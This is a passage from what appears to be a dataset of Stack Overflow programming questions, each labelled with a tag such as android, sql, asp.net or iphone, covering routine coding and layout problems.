true).order(:taskname)   @workorderlist = workorder.where( wostatus_id != ( )   15).order(:description) </code></pre>   the <code>@workorderlist</code> works the way i expected.    but  the @tasklist gives me    <pre><code>syntax error  unexpected $end </code></pre>,ruby-on-rails
designing custom tabs using linearlayout with child elements(imageview textview)  i am creating custom tabs which consists of seven tabs using linear layout with imageview and textview(child elements) and giving weight equaly to seven tabs. but  i need to set first tab width to remaining tabs so that it looks good.how to accompolish this. i am attaching screen shot for your kind reference.    <strong>xml file</strong>   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= match_parent  android:layout_height= match_parent  android:orientation= vertical  android:background= #000000 &gt; &lt;horizontalscrollview     android:layout_width= match_parent      android:layout_height= wrap_content      android:fillviewport= true      android:requiresfadingedge= horizontal      android:fadingedgelength= 2dp             android:scrollbarstyle= outsideinset      android:scrollbarsize= 1dp      android:scrollbarthumbhorizontal= @android:color/darker_gray      android:overscrollmode= never      android:fadescrollbars= false      android:background= #0668b1 &gt;     &lt;linearlayout         android:layout_width= wrap_content          android:layout_height= wrap_content          android:background= #000000          android:weightsum= 7          android:orientation= horizontal &gt;         &lt;linearlayout             android:id= @+id/ll_tab_wodetail              android:layout_width= match_parent              android:layout_height= match_parent              android:layout_weight= 1              android:background= #464646              android:padding= 5dp              android:orientation= vertical &gt;             &lt;imageview                 android:id= @+id/iv_icon_wodetail                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_gravity= center_horizontal                  android:adjustviewbounds= false                  android:src= @drawable/wo_wodetails  /&gt;             &lt;textview                 android:id= @+id/tv_icon_wodetail                  style=  android:attr/tabwidgetstyle                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:gravity= center_horizontal                  android:text= w/o details                  android:textcolor= #ffffff                  android:textsize= 16sp  /&gt;         &lt;/linearlayout&gt;         &lt;linearlayout             android:layout_width= match_parent              android:layout_height= match_parent              android:id= @+id/ll_tab_details              android:background= #464646              android:layout_weight= 1              android:layout_marginleft= 2dp              android:padding= 5dp              android:orientation= vertical &gt;             &lt;imageview                 android:id= @+id/iv_icon_detail                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:gravity= center_horizontal                  android:src= @drawable/wo_details                  android:adjustviewbounds= false  /&gt;             &lt;textview                 android:id= @+id/tv_icon_wodetail                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= details                  android:textsize= 16sp                  android:textcolor= #ffffff                  style=  android:attr/tabwidgetstyle                  android:gravity= center_horizontal  /&gt;         &lt;/linearlayout&gt;         &lt;linearlayout             android:layout_width= match_parent              android:layout_height= match_parent              android:id= @+id/ll_tab_spares              android:layout_weight= 1              android:background= #464646              android:layout_marginleft= 2dp              android:padding= 5dp              android:orientation= vertical &gt;             &lt;imageview                 android:id= @+id/iv_icon_spares                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:src= @drawable/wo_spares                  android:gravity= center_horizontal                  android:layout_weight= 1                  android:adjustviewbounds= false  /&gt;             &lt;textview                 android:id= @+id/tv_icon_spares                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= spares                  android:textsize= 16sp                  android:textcolor= #ffffff                  style=  android:attr/tabwidgetstyle                  android:gravity= center_horizontal  /&gt;         &lt;/linearlayout&gt;         &lt;linearlayout             android:layout_width= match_parent              android:layout_height= match_parent              android:id= @+id/ll_tab_tools              android:background= #464646              android:layout_weight= 1              android:layout_marginleft= 2dp              android:padding= 5dp              android:orientation= vertical &gt;             &lt;imageview                 android:id= @+id/iv_icon_tools                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:src= @drawable/wo_tools                  android:gravity= center_horizontal                  android:layout_weight= 1                  android:adjustviewbounds= false  /&gt;             &lt;textview                 android:id= @+id/tv_icon_tools                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= tools                  android:textsize= 16sp                  android:textcolor= #ffffff                  style=  android:attr/tabwidgetstyle                  android:gravity= center_horizontal  /&gt;         &lt;/linearlayout&gt;         &lt;linearlayout             android:layout_width= match_parent              android:layout_height= match_parent              android:id= @+id/ll_tab_tasks              android:background= #464646              android:layout_weight= 1              android:layout_marginleft= 2dp              android:padding= 5dp              android:orientation= vertical &gt;             &lt;imageview                 android:id= @+id/icon                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:src= @drawable/wo_tasks                  android:gravity= center_horizontal                  android:adjustviewbounds= false  /&gt;             &lt;textview                 android:id= @+id/title                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= tasks                  android:textsize= 16sp                  android:textcolor= #ffffff                  style=  android:attr/tabwidgetstyle                  android:gravity= center_horizontal  /&gt;         &lt;/linearlayout&gt;         &lt;linearlayout             android:layout_width= match_parent              android:layout_height= match_parent              android:id= @+id/ll_tab_costs              android:background= #464646              android:layout_weight= 1              android:layout_marginleft= 2dp              android:padding= 5dp              android:orientation= vertical &gt;             &lt;imageview                 android:id= @+id/iv_icon_costs                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:src= @drawable/wo_costs                  android:gravity= center_horizontal                  android:adjustviewbounds= false  /&gt;             &lt;textview                 android:id= @+id/tv_icon_costs                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= costs                  android:textsize= 16sp                  android:textcolor= #ffffff                  style=  android:attr/tabwidgetstyle                  android:gravity= center_horizontal  /&gt;         &lt;/linearlayout&gt;         &lt;linearlayout             android:layout_width= match_parent              android:layout_height= match_parent              android:id= @+id/ll_tab_trades              android:background= #464646              android:layout_weight= 1              android:layout_marginleft= 2dp              android:padding= 5dp              android:orientation= vertical &gt;             &lt;imageview                 android:id= @+id/iv_icon_trades                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:gravity= center_horizontal                  android:src= @drawable/wo_trades                  android:adjustviewbounds= false  /&gt;             &lt;textview                 android:id= @+id/tv_icon_trades                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= trades                  android:textsize= 16sp                  android:textcolor= #ffffff                  style=  android:attr/tabwidgetstyle                  android:gravity= center_horizontal  /&gt;         &lt;/linearlayout&gt;     &lt;/linearlayout&gt; &lt;/horizontalscrollview&gt; &lt;scrollview     android:id= @+id/sv_wodetails      android:layout_width= match_parent      android:layout_height= match_parent      android:visibility= visible      android:background= #000000 &gt;     &lt;relativelayout         android:layout_width= match_parent          android:layout_height= match_parent          android:orientation= vertical          android:layout_marginleft= 15dp          android:layout_marginright= 15dp          android:background= #000000 &gt;         &lt;linearlayout             android:layout_width= match_parent              android:layout_height= match_parent              android:orientation= vertical &gt;             &lt;textview                 android:id= @+id/tv_wono                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= work oder no                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;textview                 android:id= @+id/tv_wonoval                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:text= large text                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:background= @drawable/spinner_background                  android:textcolor= #ffffff                  android:textstyle= bold                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;textview                 android:id= @+id/tv_equipment                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= equipment                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;textview                 android:id= @+id/tv_equipmentval                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:text= large text                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:background= @drawable/spinner_background                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;textview                 android:id= @+id/tv_equipmenthier                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= equipment hierarchy                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;textview                 android:id= @+id/tv_equipmenthierval                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:text= large text                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:background= @drawable/spinner_background                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;textview                 android:id= @+id/tv_jobdesc                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= job description                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;edittext                 android:id= @+id/et_jobdesc                  android:textcolor= #ffffff                  android:background= @drawable/spinner_background                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:layout_margintop= 5dp                  android:textsize= 18sp &gt;                 &lt;requestfocus /&gt;             &lt;/edittext&gt;             &lt;textview                 android:id= @+id/tv_instruction                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= instruction                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;edittext                 android:textcolor= #ffffff                  android:id= @+id/et_instruction                  android:background= @drawable/spinner_background                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:ems= 10                  android:layout_margintop= 5dp                  android:textsize= 18sp &gt;                 &lt;requestfocus /&gt;             &lt;/edittext&gt;             &lt;textview                 android:id= @+id/tv_safetynotes                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= safety notes                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;edittext                 android:id= @+id/et_safetynotes                  android:background= @drawable/spinner_background                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:ems= 10                  android:layout_margintop= 5dp                  android:textsize= 18sp &gt;                 &lt;requestfocus /&gt;             &lt;/edittext&gt;             &lt;textview                 android:id= @+id/tv_wotype                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:text= w/o type                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:textcolor= #ffffff                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;textview                 android:id= @+id/tv_wotypeval                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:text= wo type                  android:textsize= 18sp                  android:layout_margintop= 5dp                  android:background= @drawable/spinner_background                  android:textcolor= #ffffff                  android:textstyle= bold                  android:textappearance=  android:attr/textappearancelarge  /&gt;             &lt;linearlayout                 android:layout_width= match_parent                  android:layout_height= 50dip                  android:orientation= vertical  /&gt;         &lt;/linearlayout&gt;     &lt;/relativelayout&gt; </code></pre>   <img src= https://i.stack.imgur.com/b9gdd.jpg  alt= enter image description here >,android
sql syntax error in case statement  i have 2 database tables. one that tracks placements of orders made to a company  and the other that tracks payments made to the company for orders.     i d like to create an sql query  that displays each order id  the total amount for the order  and the amount outstanding for the order  which is yet to be paid. customers are allowed to pay in  instalments  say  so the purpose is to calculate the total outstanding and display it.    here is what i have so far  however it is returning  null  when no payments have been made. this obviously means that there are no records based on a specific order  and so the total amount paid by the customer = 0. therefore the amount outstanding is equal to the total amount.    i would like my sql code to display the total amount of the order when the entire amount is still outstanding  instead of the null.    how can this be done     i tried a case statement but i think my syntax is wrong.    here s the version without the case statement  which returns null when no payments have been made:   <pre><code> select      pb_orders.id as  order id   pb_orders.order_total as  total        sum(pb_payments.amount) as  amount paid   pb_orders.order_total -      sum(pb_payments.amount) as  outstanding amount   from       pb_orders   inner join       pb_payments on pb_orders.id = pb_payments.link_id   where       pb_orders.id = 1556 </code></pre>   and here is my attempt at the case statement:   <pre><code>select     pb_orders.id as  order id   pb_orders.order_total as  total       sum(pb_payments.amount) as  amount paid           when  amount paid  =  null              then  amount paid  = pb_orders.order_total       pb_orders.order_total - sum(pb_payments.amount) as  outstanding amount     from      pb_orders  inner join      pb_payments on pb_orders.id = pb_payments.link_id  where      pb_orders.id = 1555 </code></pre>,sql
unable to read file from main.m in objective-c  i have a command line application that i am building in objective-c  and inside the main.m file  i am trying to read in a document as follows:   <pre><code>int main(int argc  const char * argv[]) {      @autoreleasepool {         // create the managed object context         nsmanagedobjectcontext *context = managedobjectcontext();         nsstring *pathtomyfile = [[nsbundle mainbundle] pathforresource:@ myfilertf  oftype:@ rtf ];         // custom code here...         //at this point  pathtomyfile is nil  which means nothing happens          // save the managed object context         nserror *error = nil;         if (![context save:&amp;error]) {             nslog(@ error while saving %@   ([error localizeddescription] != nil)   [error localizeddescription] : @ unknown error );             exit(1);         }     }     return 0; } </code></pre>   when my code steps past the line:   <pre><code>nsstring *pathtomyfile = [[nsbundle mainbundle] pathforresource:@ myfilertf  oftype:@ rtf ]; </code></pre>    pathtomyfile  is nil  and therefore nothing happens. am i supposed to use different syntax for reading files in a command line application vs an ios application,objective-c
how to see if a .net program is running  is it possible to determine if a microsoft .net program is running on a windows computer,.net
multiple registerclientscriptblock s  i want to call 3 javascript functions on my .cs file  i tried this:   <pre><code>protected void page_load(object sender  eventargs e)         {             if (ispostback)             {                 clientscriptmanager script = page.clientscript;                 clientscriptmanager script2 = page.clientscript;                 clientscriptmanager script3 = page.clientscript;                  script.registerclientscriptblock(this.gettype()   key    centerpopup1()   true);                 script2.registerclientscriptblock(this.gettype()   key    loadpopup1()   true);                 script3.registerclientscriptblock(this.gettype()   key    msg1()   true);              }         } </code></pre>   with no success  nothing happens on my postbacks  but if i try just calling one of these functions  it works.,asp.net
http post request in ios  hi i am new in ios and i didn t send any call to php till now today i have tried by the following code     <pre><code>-(void)sendrequest {  nsstring *vali = @ $uppl!3r$ ;  nsstring *post = [nsstring stringwithformat:@ key1=%@  vali]; nsdata *postdata = [post datausingencoding:nsasciistringencoding allowlossyconversion:yes]; nsstring *postlength = [nsstring stringwithformat:@ %d   [postdata length]]; nslog(@ %@  postlength); nsmutableurlrequest *request = [[[nsmutableurlrequest alloc] init] autorelease]; [request seturl:[nsurl urlwithstring:@ http://www.ddemo3.enerjinet.com/webservices/ios/suppliers.php ]]; [request sethttpmethod:@ post ]; [request setvalue:postlength forhttpheaderfield:@ content-length ]; [request setvalue:@ application/x-www-form-urlencoded  forhttpheaderfield:@ content-type ]; [request sethttpbody:postdata];  nsurlconnection *theconnection = [[nsurlconnection alloc] initwithrequest:request delegate:self];  if (theconnection) {     webdata = [[nsmutabledata data] retain];     nslog(@ %@  webdata); } else {  } }  -(void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response   {         [webdata setlength: 0];    }  -(void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data { [webdata appenddata:data];  }  -(void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error { [connection release]; [webdata release];  } -(void)connectiondidfinishloading:(nsurlconnection *)connection {     nsstring *loginstatus = [[nsstring alloc] initwithbytes: [webdata mutablebytes] length:                       [webdata length] encoding:nsutf8stringencoding]; nslog(@ %@  loginstatus); //greeting.text = loginstatus; [loginstatus release]; [connection release]; [webdata release]; } </code></pre>   it should return me array of 76 records but it returns me <code>&lt;&gt;</code> can anyone please help me   the web service is ready i need to get the array in response and show it in my table view please help me in doing this,ios
c# from string with letters and numbers how to read and seperate into and place in array  i need to write a program where from a user determined file i need to find which poker hand type is input into the program. i have where i can count the number of each suit in the hand but i cant think of way to find the numbers of the cards in a way it can have double digits. it would be preferable if it was in an array but am focusing on getting it into a string for now. im mostly wanting to count each card value so then i can have if statements of the criteria for each hand to find the inputed hand matches what the hand is supposed to be    the layout for the cards in each hand are like the following file title: flush.txt file content: c 6 c 9 c 10 c 11 c 12    this is all the code i have for the program right now   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks; using system.io;  namespace pokertask {     class program     {         static void main(string[] args)         {              string filename =   ;             string filecontent =   ;             int clubsuit = 0;             int heartsuit = 0;             int spadesuit = 0;             int diamondsuit = 0;             //int[] array = new int[5];             string cardnum =   ;             //read text file             console.writeline( type the file name of the hand that you are    testing including its file extension. );             filename = console.readline();             try             {//open and read selected file                 streamreader infile = new streamreader(filename);                 filecontent = infile.readline();                 infile.close();                 console.writeline( {0}   filecontent);                 console.readline();             }             catch             {//response if failed                 console.writeline( file handling error has occured. press any button to close the program. );                 console.readline();             }              //display              foreach (char c in filecontent)             {                 if ( c ==  c )                 {                     clubsuit ++;                 }             }              foreach (char s in filecontent)             {                 if (s ==  s )                 {                     spadesuit++;                 }              }              foreach (char h in filecontent)             {                 if (h ==  h )                 {                     heartsuit++;                 }             }              foreach (char d in filecontent)             {                 if (d ==  d )                 {                     diamondsuit++;                 }              }             console.writeline(  number of clubs {0}   clubsuit);             console.writeline(  number of spades {0}   spadesuit);             console.writeline(  number of hearts {0}   heartsuit);             console.writeline(  number of diamonds {0}   diamondsuit);             console.readline();               cardnum = filecontent.trim( c   h   d   s );             console.writeline( {0}   cardnum);             console.readline();         }     } } </code></pre>,c#
how to make b fixed with respect to a  b scrolls with the content of a. i want it stay fixed  i.e. not scroll with the content of a. how can i do that  a  is also a block and  b  is inside  a .     <img src= https://i.stack.imgur.com/ghalv.png  alt= description of positioning problem >,css
why the 2nd part in this angular app doesn t work   i m learning angular js  so i combined to exercises together  and my app looks like this :   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;script src=  http://ajax.googleapis.com/ajax/libs/angularjs/1.3.14/angular.min.js &gt;&lt;/script&gt; &lt;body&gt;  &lt;p&gt;try to change the names.&lt;/p&gt;  &lt;div ng-app= myapp  ng-controller= myctrl &gt;  first name: &lt;input type= text  ng-model= firstname &gt;&lt;br&gt; last name: &lt;input type= text  ng-model= lastname &gt;&lt;br&gt; &lt;br&gt; full name: {{firstname +     + lastname}}  &lt;/div&gt;  &lt;script&gt; var app = angular.module( myapp   []).controller( myctrl   function($scope) {     $scope.firstname=  john ;     $scope.lastname=  doe ; }); &lt;/script&gt;  &lt;div ng-app= 2nd  ng-init= quantity=1;cost=5 &gt;  &lt;p&gt;total in dollar: {{ quantity * cost }}&lt;/p&gt;  &lt;/div&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   but the 2nd part is not showing  5   if i put it in a file by itslef  it will work correctly  why,angularjs
when does a rowupdate  rowupdating  rowdeleted  rowdeleting events get fired  when do these events actually fire. msdn speaks about the update button. i dont have any update button in my gridview so which update button does the site talk about,asp.net
how to safe print an external html inside a page  iframe   i m making an api test tool which makes requests to external urls.    most of these external urls return a json  but sometimes a html can be return as well  in these cases i would like to show the rendered html.    my first solution was to render the returned html inside an iframe.   <pre><code>&lt;script id= response-body-content  type= application/vnd.response-body &gt;   &lt;%= raw response_body.gsub( script    xcriptx ) %&gt; &lt;/script&gt;  &lt;iframe id= response-body-preview &gt;&lt;/iframe&gt; &lt;script&gt;   $(function(){     var ifrm = document.getelementbyid( response-body-preview );     var ifrmdocument;     if(ifrm.contentwindow) {       ifrmdocument = ifrm.contentwindow.document       } else {       ifrmdocument = ifrm.contentdocument     }     ifrmdocument.open()     ifrmdocument.write($( #response-body-content ).text().replace(/xcriptx/g   script ));     ifrmdocument.close()   }); &lt;/script&gt; </code></pre>   i had to replace <code>script</code> to <code>*xscript*</code> to prevent the external html to break the my script tag container <code>#response-body-content</code> then to print in the iframe i have to replace it back.    is there any other workaround to print/render (safe) external html inside a page,ruby-on-rails
how to horizontally center a form accross a page   i have an html doc that looks roughly like this:   <pre><code>&lt;html&gt;   &lt;head&gt;&lt;title&gt;example&lt;/title&gt;&lt;/head&gt;   &lt;body&gt;      &lt;div id= main_content  style= width:90%; &gt;          &lt;form id= searchbox  method= post  action= # &gt;              &lt;input type= text  name= search  /&gt;              &lt;input type= submit /&gt;          &lt;/form&gt;      &lt;/div&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   how do i (horizontally) center the search form in  the page,html
check if a variable contains a numerical value in javascript   in php  it s pretty easy:   <pre><code>is_numeric(23);//true is_numeric( 23 );//true is_numeric(23.5);//true is_numeric(true);//false </code></pre>   but how do i do this in javascript  i could use a regular expression  but is there a function for this,javascript
finding the first occurrence of an element in a sql database  i have a table with a column for customer names  a column for purchase amount  and a column for the date of the purchase. is there an easy way i can find how much first time customers spent on each day     so i have    <pre><code>name    |     purchase amount | date joe           10                9/1/2014 tom           27                9/1/2014 dave          36                9/1/2014 tom           7                 9/2/2014 diane         10                9/3/2014 larry         12                9/3/2014 dave          14                9/5/2014 jerry         16                9/6/2014 </code></pre>   and i would like something like   <pre><code>date     |     total first time purchase 9/1/2014       73 9/3/2014       22 9/6/2014       16 </code></pre>   can anyone help me out with this,sql
mysql query shows syntax error but there is nothing wrong in it  i have form where on somewhere on button click it executes this simple update query.   <pre><code>update yogaagegroup set 6-15 =  yes   16-20 =  yes   21-25 =  yes   26-30 =  yes   31-35 =  no   35+ =  no  where yogaid =  403050  </code></pre>   but while running it shows syntax error but i don t think there is any error with this query. is it because of column name where i used  -  between names  but while inserting records in same table there were no errors. please help..,mysql
my rails app returns 500  but i can t see any details in the logs  <strong>curl localhost:3000/groups</strong> gives   <pre><code>started get  /groups  for 193.160.199.32 at 2018-07-05 13:41:04 +0000 processing by groupscontroller#index as */* filter chain halted as :authenticate_user rendered or redirected completed 500 internal server error in 94ms (views: 0.1ms) </code></pre>   but why can t i see any more details     i ve set <code>rails_env=staging</code>   <pre><code>[1] pry(main)&gt; rails.env =&gt;  staging  </code></pre>   <strong>grep log config/environments/staging.rb</strong>   <pre><code>  config.log_level = :debug   # prepend all log lines with the following tags.   config.log_tags = [:request_id]    config.log_formatter = ::logger::formatter.new </code></pre>,ruby-on-rails
simple query: northernmost city of each country  (latitude  city  country)  i have to write a query to find the northernmost city in each country.  one of the tables contains  string nulls  which is why the not  null  is included.    here is a picture of the access query design:  <img src= https://i.imgur.com/uajzzwj.jpg  alt= query layout >    i don t understand why this query isn t working.  aren t i supposed to be grouping by both city and country  and then only show the highest latitude per each grouping   but  if i do  group by  latitude instead of  max   i get the same results; it s listing all latitudes in the results.  i m not sure what i m doing wrong here.  i feel ridiculous asking such a simple question here but i m not sure how to get this to work!,sql
how to re-initiate iteration after changing a variable  i am learning python and cs via the mit ocw material.  doing this for fun btw because i think its interesting.  i am trying to tackle a problem set where for a given credit card balance (ex. $1200) and interest rate (18%)  what would minimum monthly payment need to be pay it off completely in 12 months or less.  start with $100 and if more or less is needed  change it increments of $10.  in my code below  if the initial start of $100 doesnt work  i dont know how to increase it by 10 and then start iterating again.  im not even sure starting with a  while  is the best approach.  im sure the pros could code this up in like 2 lines but i would appreciate if anyone were to help  they do it the long way so a novice like myself could follow it.   <pre><code>balance = float(input( enter the outstanding balance on your credit card: )) annual_rate = float(input( enter the annual credit card interest rate as a decimal: ))  monthly_interest_rate = annual_rate / 12.0 minimum_monthly_payment = 100 updated_balance_each_month = balance * (1 + monthly_interest_rate) - minimum_monthly_payment  month = 1  while month &lt;= 12:     month += 1     updated_balance_each_month = updated_balance_each_month * (1 + monthly_interest_rate) - minimum_monthly_payment     if updated_balance_each_month &lt;= 0:         print ( monthly payment to pay off debt in 1 year:   minimum_monthly_payment)         print ( number of months needed:  month)         print (round(updated_balance_each_month 2))         break     else:         minimum_monthly_payment += 10 </code></pre>,python
divide five bullets in each slide using c#  i want to count bullets in each slide  if slide contains more than four bullets then then remaining bullets are shifted into newly created slide but if remaining bullets are greater than four then put four into one slide and reaming are shifted onto another slide.  this code counts the number of bullets in each slide if slide contains more than five bullets then it shift bullets into newly created slide. but this is not properly working . help to solve this .       <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using microsoft.office.interop.powerpoint; using microsoft.office.core;  namespace pptbullets {     class program     {         static void main(string[] args)         {             application app = new application();             app.visible = msotristate.msotrue;             presentation pres = app.presentations.open(@ c:\test.pptx );            application app = new application();             app.visible = msotristate.msotrue;             presentation pres = app.presentations.open(filename);             int toadd = 1;             for (int slidecount = 1; slidecount &lt;= pres.slides.count; slidecount++)             {                 slide slide = pres.slides[slidecount];                 foreach (object item in pres.slides[slidecount].shapes) //get all objects in all slides                 {                 int bulletcount = 0;                 int paragraphcount=0;                      var shape = (microsoft.office.interop.powerpoint.shape)item;                     if (shape.hastextframe == msotristate.msotrue)                     {                         if (shape.hastextframe == msotristate.msotrue)                         {                             microsoft.office.interop.powerpoint.textframe2 textframe = shape.textframe2;                             textrange2 textrange = textframe.textrange;                             textrange2 ps = textrange.paragraphs;                             paragraphcount = ps.count;                             for (int i = 1; i &lt;= paragraphcount; i++)                             {                                 bulletformat2 bulletformat2 = ps.item(i).paragraphformat.bullet;                                 if (bulletformat2.type != msobullettype.msobulletnone)                                 {                                     //this paragraph has has bullet                                     bulletcount++;                                 }                             }                             if (bulletcount &gt; 4)                             {                                          //create new slide  cut this paragraph and paste in the new slide                                 slide tempslide = pres.slides.addslide(2  pres.slides[1].customlayout);                                 ps.item(slidecount).cut();                                tempslide.shapes[2].textframe.textrange.paste();                              }                          }                     }                  }             }              pres.save();               pres.close();                 app.quit();         } </code></pre>,c#
is it possible to control an attribute like  readonly  via a model   is there a way  through a model  to control the value of an attribute like  readonly   one that doesn t accept a value that can be assigned to it  (i am aware that readonly= readonly  is valid xhtml but it doesn t help).    below   name  and  value  can be changed through a model  but how would it be possible for  readonly     <pre><code>&lt;input type= text  name= country  value= norway  readonly&gt; </code></pre>,angularjs
iphone tabs issue  i have made 5 tabs: <code>home</code>  <code>ask</code>  <code>tip of the day</code>  <code>inbox</code> and <code>disclaimer</code>. my problem is that the text <code>tip of the day</code> does not exactly fit inside the tab. i mean the <code>t</code> of tip and <code>y</code> of day are getting out of the area of the tab. and it s looking absurd.,iphone
do you install your domain dlls in gac   i ve been a asp.net/wcf developer for most of my .net developer career so i m very used to the idea of just having all dlls sitting in the bin folder of the iis directory.    however  in a recent project we have to share several dlls (around 50) between a wcf web service and several .exe programs so one of our team member suggested that we can install these dlls into the gac.    i can t see anything wrong with this idea but i just have a feeling that installing domain dlls such as data access and business logic for a specific product into gac is wrong because these dlls are not like system.data  which is reusable across many different products.    do you install your product s dlls into gac,.net
binding more click events on body will affect application the performance   my web app has many jquery custom components  in which most of them needs outside(body click) click to hide them. so the body have many click events with different namespace. today my superior told me that application becomes slow (i have recently added some  body click events)     binding many click events will affect the applications overall performance. if it does  how shall i increase the performance without affecting the existing functionalities.    thanks.,jquery
reading from a text file into html  i want to make a small html based game for a school project. i would like to be able to extract data from a text file  then insert if necessary in order to save data. so my question is:  what programming language can i use in order to read from a .txt file into a html page      thanks in advance for any help you are able to provide.,html
an unhandled exception of type  system.stackoverflowexception  occurred  i am getting the error <strong>an unhandled exception of type  system.stackoverflowexception  occurred in forte sender.exe</strong> in my code. i have the understanding that this means there is an infinite loop in my code  but i cannot seem to find this loop. here is my code:    form1:   <pre><code>public partial class mainbox : form {     //making a name for the applicationproperties form. it can be opened when called.     applicationproperties applicationpropertieswindow = new applicationproperties();     //all of the functions for form1 below. </code></pre>   form2:   <pre><code>public partial class applicationproperties : form {     mainbox mainboxwindow = new mainbox();     //all of the funcitons for form2 below. </code></pre>   so i have noticed that if i take out the <code>mainbox mainboxwindow = new mainbox();</code> that the program will run correctly. but i need that instance there to call a function in form1. how can i get around this problem  either a different way to call the function or to solve the infinite loop.,c#
redirecting a page in angularjs  i have a option for <a href= https://i.stack.imgur.com/3sv5r.png  rel= nofollow noreferrer >menu</a> in my app. i am using angularjs to write. i would like to see the contents on the tablet view page but when i try to load it give me an error saying  [ng:areq] argument  tabletviewcontroller  is not a function  got undefined <a href= http://errors.angularjs.org/1.4.7/ng/areq p0=tabletviewcontroller&amp;p1=not%20a%20function%2c%20got%20undefined  rel= nofollow noreferrer >http://errors.angularjs.org/1.4.7/ng/areq p0=tabletviewcontroller&amp;p1=not%20a%20function%2c%20got%20undefined</a>    here is what my <a href= https://i.stack.imgur.com/ulqzd.png  rel= nofollow noreferrer >app.configjs</a> has.,angularjs
directory does not create using iis server  <a href= https://i.stack.imgur.com/70vev.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/70vev.png  alt= enter image description here ></a>i am making a web application in asp.net there  i am making a directory in f drive through c# code. the code runs fine on my system and in iis also but the problem is that when my partner using the same ip of my system the directory is not being created in his system i want who ever using the ip of my system the folder should be created and files should be save on that.<a href= https://i.stack.imgur.com/qvuhw.png  rel= nofollow noreferrer >in the second image my partner is running the application the files get save on my directory not on his system</a>,asp.net
how to generate a unique number from the current date and time in asp.net  can someone help me with this please  i would like to generate an unique number based on the current time and date down to milliseconds. no two student have this number has it will be used as an id number. also the beginning of the id number would start like this sn and the number follows 04072017123901.,asp.net
iphone sdk 2.2.1 based app should be launched on iphone 3.0 os device  my app was built with sdk 2.2.1 version even before 3.0 beta appear.    user going to install my app to the last iphone 3gs with 3.0 fw version. will my app behave differently with last iphone   will items described <a href= http://developer.apple.com/iphone/library/releasenotes/general/rn-iphonesdk-3/index.html  rel= nofollow noreferrer >here (3.0 os release notes)</a> influence to my app which was build with 2.2.1 sdk     for example apple doc tell: <br> <strong><em>fixed: uinavigationcontroller won t resize content view automatically if barstyle is changed to/from uibarstyleblacktranslucent.</em></strong>    <em>but my app use this style and i saw content view resize before with iphone 2.2.1 os...</em>    <br>    what does it technically mean when i select 2.2.1 or 3.0 sdk as active in xcode for my project and build  does sdk corresponded libraries linked statically        thank you.,iphone
how to create a dice iphone application <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/150446/how-do-i-detect-when-someone-shakes-an-iphone >how do i detect when someone shakes an iphone </a>    </blockquote>     i know there was many dice application in the store but i just want to know how to start to create a application  when shake the phone the 3d model will roll thanks if can give any pointer on how to start,iphone
